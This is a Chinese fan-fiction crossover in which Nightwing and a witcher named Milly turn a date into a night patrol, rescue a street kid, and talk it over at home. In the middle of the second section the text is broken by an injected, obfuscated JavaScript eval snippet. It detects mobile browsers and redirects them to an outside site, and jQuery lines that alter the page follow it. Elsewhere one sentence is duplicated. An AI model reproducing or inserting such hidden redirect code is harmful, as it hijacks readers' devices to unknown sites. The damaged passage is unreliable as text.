(0)
有人认为，约会是花，是电影，是烛光晚餐，是抵死缠绵前的预热。但对夜翼和猎魔人而言，答案或许截然不同*。
(1)
烛光摇曳中，米莉与在场任何一位淑女别无二致，优雅地啜尽最后一口香槟，捻起餐巾轻拭唇角——橘粉色唇膏晕染开一角，恰似布鲁德海文海岸线上将尽的落日余晖。
迪克觉得自己的心如同面前的餐盘，秩序之下暗涌着几丝狼藉。
“……这次约会如何？”他手肘闲适地搭着椅背，问时噙着笑。
“棒极了，亲爱的。”她答得漫不经心。
“电影？”
“很称景。”
“晚餐？”
“顶级水准。”
“——佐餐酒？”
“也不赖——好吧，”她终于捕捉到迪克话里的潜台词，绿眸流转着狡黠的光，“老实说，没伏特加可选，真是遗憾。”
诚然，这场约会难得顺遂：如预计那般，他们牵手、观影、海岸漫步，像所有热恋中的男女一样按部就班。
但这是理查德·格雷森与米莉的约会。迪克未曾察觉自己笑容下的虚浮，正如他未曾察觉，此刻他渴望的远不止这流水线般的浪漫。
四目相对，倏然敛去笑意。
当她不笑时，那份锐利与真实才跃然而出。
“够了。迪克·格雷森。离开这儿，” 她的语气带着不容置疑的邀请和一丝挑战，“带我夜巡。立刻。”
面对这片不再温柔的冰原，迪克的心脏擂鼓般跳动，隐约的疲惫被兴奋取代。都市男女的伪装瞬息剥落，黑发蓝眼的男人终于勾起一个属于夜翼的真切笑容。
“我以为你永远不会这样说呢。” 他放下几乎没动的佐餐酒，揶揄。
“或许反复无常才是我的魅力，瑞奇。”
话音未落，他与她便将鼎沸人声、衣香鬓影的高档餐厅抛在身后。
今夜，对夜翼和猎魔人，约会是在布鲁德海文的钢筋森林、霓虹河流和潮湿屋顶上飞驰共舞：
他与她在因故障而闪烁着的摩天楼广告幕墙上你前我后，任由破碎霓虹将影子拉长、扭曲成一团；
他与她在流光溢彩的海岸线旁边上演摩托版的生死时速，远处警笛和海港汽笛的呜咽好似为之欢呼；
他与她在晨雾打湿的屋顶上并肩滑行，直至未晞的晨光刺破天际铅灰的雾霭，为这场约会划下休止符。
意犹未尽。
幕末，有一伙正在撤退的偷车贼撞进口袋——猎魔人当先，阿尔德法印如重锤般轰然击退；夜翼随后，招牌空中三周半精准砸落制敌。一个回合，一场小型犯罪便被他们联手碾碎，默契无间，干净利落。
在狼藉中对视，置身于混合着垃圾、雨水、食物香气、汽车尾气的暗巷；两人却心照不宣地承认，这远比之前餐厅中雅致香氛更叫人沉迷。
自由、默契、释放。
这才是独属于他们的、无需言语的深度交流。
剧烈运动后的心跳与喘息交织，在夜色中，彼此作为“夜翼”和“米莉”的存在感从未如此强烈。
这才是属于他与她的最佳约会活动。
(2)
黎明破晓时，夜巡暂歇。疲惫却精神亢奋的两人，选择步行返回同居的公寓。
边走，轻松的笑谈与戏谑在风中飘荡、招摇。
“——然后我让他跳下来，他说不，我说我肯定能接住他，他说Jesus，我卡住了，你他妈直接上来拽我下去哈哈哈哈哈。”迪克边说边夸张地比划着，模仿着被窗户卡住的窘态，狼狈又不失可爱，到了犯规的级别。
米莉笑得直不起腰，拳头不轻不重地捶在他背上，不甘示弱地反击：“在我老家，如果什么东西泛滥成灾，人们就把它丢进水里。”
“所以，史凯利格人扔战斧，尼弗迦德人沉佩剑。”
“我记得你是泰莫利亚人？”迪克承认自己对她的故乡充满好奇。
米莉点头，笑意几乎让她喘不过气：“没错，所以我们把尼弗迦德人丢下水*。”
迪克：？？？
迪克：！！！
靠着对苏联笑话的朴素直觉，迪克迟滞半拍才嚼出这跨次元的地狱笑话。一时间，想大笑的冲动与“嘲笑对方家乡战乱是否太不厚道”的道德感在他胸腔里打架，直叫那张英俊的脸庞扭曲得滑稽，引得米莉笑声愈发恣意。
欢声笑语里，他们拐入通往公寓的最后一条暗巷。
经由巷口时，米莉和迪克同时停下。后者像猎豹一样警觉地竖起耳朵，“等等……有东西。”
而前者，则嬉笑着从衣兜里掏出手，不忘调侃：“真没想到约会尾声还能加演一场，瑞奇，我得说，我爱死意外了（Luv Surprise as usual）！”
无需言语，义警和猎魔人同时悄无声息地潜入阴影。
但立刻他们就发现自己在小题大做：巷子里不过是三五个半大少年，推推搡搡，在围着一个年纪仿佛的同龄人，施暴或抢劫。
米莉顿时意兴阑珊地耷拉下肩膀，迪克叹气，随手抄起巷子口垃圾桶的金属盖，信手挥动——哐！哐！
拍晕两个、吓跑一个。最后一个，直接被米莉未出鞘的长剑吓到昏过去。
荒谬但不失布鲁德海文特色，让蹲到受害者面前的蓝色义警都忍不住扶额。
“你还好吗？孩子。”蹲下来的迪克双手搭在膝头，尽量放缓语气，仔细打量着趴在地上那个瑟瑟发抖、眼神充满惊恐和倔强的小男孩——他甚至没敢贸然上手检查，看在上帝的份上，他光是凑近，似乎就快把那孩子吓昏过去！
“——你、你——”
“新来的义警，蒙面怪胎，多管闲事儿的，随你怎么叫，”迪克友好地以轻松自嘲开始，“现在感觉还好吗？还是需要我叫个救护车？”
“不！不……”小孩灰扑扑的脸上写满惊恐，“我没钱！”
“一个玩笑，别紧张，就算不为了节省，现在的你也不需要救护车。”一句话活跃气氛，迪克方才更认真自我介绍，同时为孩子快速检查伤势，“嘿，你可以叫我夜翼，目前负责看管布鲁德海文的黄昏与黎明。”
多数是擦伤，最严重是皮下淤血，铁定没骨折。
对精心饲养的幼童，无疑意味天塌地陷；
对街头流浪的小崽子，屁大点事儿没有。
确认无大碍，蓝色义警放心了不少。他从口袋里掏出个能量棒，放到犹在警惕的孩子的手边。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126680|180084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“我猜你肯定不想我送你去福利院，但记住，需要帮助时、就在附近留个记号，夜翼随时为您服务。”
孩子犹豫片刻，最终点头，同时紧紧攥住了能量棒。
见状，迪克满意颔首，不再多说。
在米莉不以为然的目光里，他轻松跃起，拽住正欲开口的猎魔人，快步离开巷子，绕路匆匆冲回公寓。
(3)
刚从后窗翻进公寓，男人就用堪称狂野的姿态扒扯夜翼制服，被甩下来的衣服差点糊了后一步翻进来的女人一脸：看着他在这间略显凌乱却处处烙印着两人痕迹（装备、神秘器物、披萨盒）的安全屋里上演热辣脱衣秀，猎魔人一边解下背后长剑，一边轻佻地吹了声口哨。
“我就知道，哈！”
目不转睛欣赏着流畅的肌肉线条，米莉毫不避讳，也对迪克乱丢衣物的行径毫无恼意，只觉得这场约会高潮迭起，
“约会最经典的一步？”
可惜迪克此刻的急躁绝非为此。
“先别闹，米莉。”
他手忙脚乱地从脏衣篮里薅出昨天的T恤，套牛仔裤时差点被地上横陈的长剑绊个跟头。
“待会儿再说。给我十分钟。”
显然，迪克有桩未了之事悬在心头——否则，这位出身马戏团的义警没可能会在这小干扰下踉跄。
米莉自认通情达理，哼了一声表示了然。随后，在狂放的甩门声里，她慢悠悠打着哈欠走向灶台，随手从旁边那个眼熟得可疑的陶土罐子里捻出一撮草本碎屑，注水开煮。
直到沸水滚了三次，热蒸汽模糊了她的眼睫，公寓的大门才第二次在嘎吱声中开合。
直到沸水翻滚三遭，蒸腾的雾气濡湿了她的睫毛，公寓大门才在刺耳的嘎吱声中第二次开合。
迪克回来了。
他哼着小调，心情明媚，即使满屋弥漫着古怪的草药气息，这个自诩与魔法犯冲的家伙竟也罕见地没抱怨吐槽？！
于是米莉笑了，她坏心眼翻出某人惯用的阔口杯，斟满深褐色的安神药茶推过去，不动声色观察中。
“吸溜——呕！”
猝不及防，迪克被口中那股酸涩古怪的滋味袭击，干呕着，一脸嫌恶地瞪着杯中物，不敢置信地冲米莉嚷道，
“米莉，干嘛给我这个？呕，好恶心的味道……”
“因为某人魂不守舍得像中了咒，走神走得很突出。”
恶作剧成功，猎魔人心情很好地倚着中岛吧台，给自己倒了小半杯底的伏特加，惬意地啜饮一口，发出满足的喟叹，
“说吧，看过那男孩你就心神不宁，刚才又火急火燎换常服去见他。怎么，他有问题？”
“——不！当然不！那就是个普通孩子！”
迪克高声否定了米莉的推测。
没错，他确实是换了常服、争分夺秒地在男孩离开前折返相见，但这并非源于威胁。
那男孩沉默、警惕，像受伤的小兽。他的存在本身就像一面镜子，映射出迪克曾经的影子——获救者、异化者、潜在的歧路者。
那一刻，迪克无比清晰地意识到，那孩子需要的，是理查德·格雷森，而不仅仅是夜翼的援手。
于是他去了，义无反顾、义不容辞。